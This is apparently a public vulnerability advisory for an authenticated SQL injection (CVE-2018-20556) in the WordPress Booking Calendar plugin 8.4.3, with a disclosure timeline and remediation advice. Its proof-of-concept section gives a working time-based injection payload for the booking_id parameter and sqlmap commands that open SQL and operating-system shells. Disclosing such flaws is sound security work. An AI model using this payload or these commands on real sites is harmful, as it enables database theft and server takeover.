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February 13, 2019 20:02
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Wordpress Booking Calendar v8.4.3 - Authenticated SQL Injection Vulnerability
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# Exploit Title: Wordpress Booking Calendar v8.4.3 - Authenticated SQL Injection Vulnerability | |
# Date: 2018-12-28 | |
# Exploit Author: B0UG | |
# Vendor Homepage: https://wpbookingcalendar.com/ | |
# Software Link: https://wordpress.org/plugins/booking/ | |
# Version: Tested on version 8.4.3 (older versions may also be affected) | |
# Tested on: WordPress | |
# Category : Webapps | |
# CVE: CVE-2018-20556 | |
#I. VULNERABILITY | |
Authenticated SQL Injection | |
#II. BACKGROUND | |
'Booking Calendar' WordPress plugin developed by oplugins is a booking system which allows website visitors to check the availability of services and make reservations. | |
#III. DESCRIPTION | |
An authenticated SQL Injection vulnerability in the 'Booking Calendar' WordPress plugin allows an attacker to read arbitrary data from the database. | |
#IV. PROOF OF CONCEPT | |
1) Access WordPress control panel. | |
2) Navigate to the Booking Calendar plugin page. | |
3) Set up Burp Suite to capture the traffic. | |
4) Select one of the booking entries and click on the 'Trash Can' button to delete the entry. | |
5) Within Burp Suite, analyse the POST request and idenitfy the parameter 'booking_id'. | |
6) The 'booking_id' parameter is vulnerable to the following different types of SQL injection: | |
• Boolean based blind injection | |
• Error based injection | |
• Time based injection | |
7) We can perform a time based SQL injection by appending ) AND SLEEP(100) AND (1=1 after the ID value in the parameter as shown below. | |
action=TRASH_RESTORE&booking_id=573) AND SLEEP(100) AND (1=1&is_send_emeils=1&denyreason=&user_id=1&wpdev_active_locale=en_US&is_trash=1&wpbc_nonce=99c5ffaa67 | |
Obtaining a shell using sqlmap | |
----------------------- | |
• Obtain a SQL Shell | |
Sqlmap –r post-request.txt –p booking_id --sql-shell | |
• Obtain a Linux Shell | |
Sqlmap –r post-request.txt –p booking_id --os-shell | |
• Obtain a Windows Command Prompt | |
Sqlmap –r post-request.txt –p booking_id --os-cmd | |
#V. IMPACT | |
The vulnerability allows an attacker to read arbitrary data from the database. It is possible to get a remote shell from this vulnerability. | |
#VI. SYSTEMS AFFECTED | |
WordPress websites running 'Booking Calendar' WordPress plugin version 8.4.3 (older versions may also be affected). | |
#VII. REMEDIATION | |
Uninstall the plugin until the vulnerability has been fixed by the developer. | |
#VIII. DISCLOSURE TIMELINE | |
#December 28, 2018 1: Vulnerability identified. | |
#December 28, 2018 2: Informed developer of the vulnerability. | |
#February 14, 2019 3: No communication received back from the developer. |
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